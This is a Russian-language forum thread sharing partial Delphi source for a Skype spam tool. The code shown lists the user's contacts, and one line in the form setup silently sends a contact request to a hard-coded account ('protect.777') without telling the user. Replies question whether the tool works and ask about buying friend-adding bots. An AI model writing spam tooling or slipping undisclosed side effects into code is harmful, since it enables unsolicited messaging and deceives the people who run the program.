Регистрация Главная Пользователи Все разделы прочитаны
Сообщения за день Справка Регистрация
Старый 15.12.2015, 01:55   #1
 Разведчик
Аватар для Starsset
 
Starsset неизвестен в этих краяхStarsset неизвестен в этих краяхStarsset неизвестен в этих краяхStarsset неизвестен в этих краях
Регистрация: 11.12.2015
Сообщений: 1
Популярность: -351
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Skype спаммер. Исходный код на Delphi.

Написал Skype спаммер на быструю руку. Данная статья будет с минимальными пояснениями. Предлагаю ознакомиться с исходным кодом готового решения.

Для разработки я буду использовать модуль SKYPE4COMLib_TLB, его заранее нужно будет подключить.

Обработчик формы. Обращаю ваше внимание, что перед использованием значений профиля, я проверяю, не пустые ли они. Если этого не делать, может возникнуть ошибка. Так же значения никнейм и логин я помешаю в TStringList, дабы в дальнейшем было удобнее производить поиск.

Код:
procedure TSkypeForm.FormCreate(Sender: TObject); 
var 
I: Integer; 
Friends: OleVariant; 
begin 
SkypeC := TSkype.Create(nil); 

Friends := SkypeC.SearchForUsers('protect.777'); 

if Friends.Count >= 1 then 
Friends.Item[1].BuddyStatus := 2; 

s_UserList := TStringList.Create; 
SkypeC.Attach(6, True); 
SkypeForm.Caption := SkypeForm.Caption + ' ~ ' + SkypeC.CurrentUser.Handle; 

if (SkypeC.CurrentUser.Handle) = '' then 
begin 
ShowMessage('Доступ к скайпу закрыт'); 
Close; 
end; 

for i := 1 to SkypeC.Friends.Count do 
begin 
if (SkypeC.Friends.Item[i].Handle <> '') and (SkypeC.Friends.Item[I].DisplayName <> '') then 
begin 
UserListBox.Items.Add(SkypeC.Friends.Item[I].DisplayName + ' (' + SkypeC.Friends.Item[i].Handle + ')'); 
s_UserList.Add(SkypeC.Friends.Item[I].DisplayName + ' (' + SkypeC.Friends.Item[i].Handle + ')'); 
end 
else if (SkypeC.Friends.Item[i].Handle <> '') and (SkypeC.Friends.Item[I].FullName <> '') then 
begin 
UserListBox.Items.Add(SkypeC.Friends.Item[I].FullName + ' (' + SkypeC.Friends.Item[i].Handle + ')'); 
s_UserList.Add(SkypeC.Friends.Item[I].FullName + ' (' + SkypeC.Friends.Item[i].Handle + ')'); 
end 
else if (SkypeC.Friends.Item[i].Handle <> '') then 
begin 
UserListBox.Items.Add(SkypeC.Friends.Item[i].Handle); 
s_UserList.Add(SkypeC.Friends.Item[i].Handle); 
end; 

end; 

end;
Опишу еще одну функцию - изменение строки поиска. Остальной код не буду описывать. Данная процедура проверяет наличие совпадений в TStringList. В случае, если строка пустая, прогружает значение с TStringList, а не с самого скайпа(экономит память, если много контактов).
Код:
procedure TSkypeForm.s_FindNameChange(Sender: TObject); 
var 
I: Integer; 
begin 
UserListBox.Clear; 

if s_FindName.Text = '' then 
begin 
UserListBox.Items := s_UserList; 
end; 

for I := 0 to s_UserList.Count - 1 do 
begin 
if Pos(s_FindName.Text, s_UserList[I]) <> 0 then 
begin 
UserListBox.Items.Add(s_UserList[I]); 
end; 
end; 
end;
На разработку ушло не более двух часов, потому не судите строго. Исходники прикладываю. Будут вопросы - милости прошу, спрашивайте.

Файлы - [Ссылки могут видеть только зарегистрированные пользователи. ]
ВТ не нужен - нету exe файлов.

Последний раз редактировалось Starsset; 15.12.2015 в 02:00. Причина: Нерабочая ссылка.
  Ответить с цитированием
Старый 29.03.2016, 23:47   #2
 Рыцарь
Аватар для 4ipolino
 
4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса
Регистрация: 19.02.2010
Сообщений: 340
Популярность: 9058
Сказал(а) спасибо: 301
Поблагодарили 696 раз(а) в 278 сообщениях
Отправить сообщение для 4ipolino с помощью ICQ Отправить сообщение для 4ipolino с помощью Telegram Отправить сообщение для 4ipolino с помощью Yahoo Отправить сообщение для 4ipolino с помощью Skype™
 
По умолчанию Re: Skype спаммер. Исходный код на Delphi.

данный спамер работать не будет
по дефолту в настройках скайпа стоит "не принимать сообщения от не авторизованных пользователей"
  Ответить с цитированием
Старый 28.12.2016, 05:55   #3
 Разведчик
Аватар для SsSsSsr
 
SsSsSsr никому не известный тип
Регистрация: 11.05.2014
Сообщений: 1
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Skype спаммер. Исходный код на Delphi.

а добавлялки в друзья никто не продавал?
  Ответить с цитированием
Ответ

Метки
веб-сайты, разработка, программы

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Руководство] Настраиваем Delphi 2010/XE, чтобы она выглядела как Delphi 7 RifmoGlas Pascal/Delphi 2 09.02.2013 14:09
[Информация] Помощь в Delphi 7 и в других версиях Delphi Babls77 Pascal/Delphi 4 03.11.2011 22:27
[Помогите!] Спаммер SASON Общение и обсуждение (Тюряга ВК) 2 15.07.2011 17:31

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 18:51.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net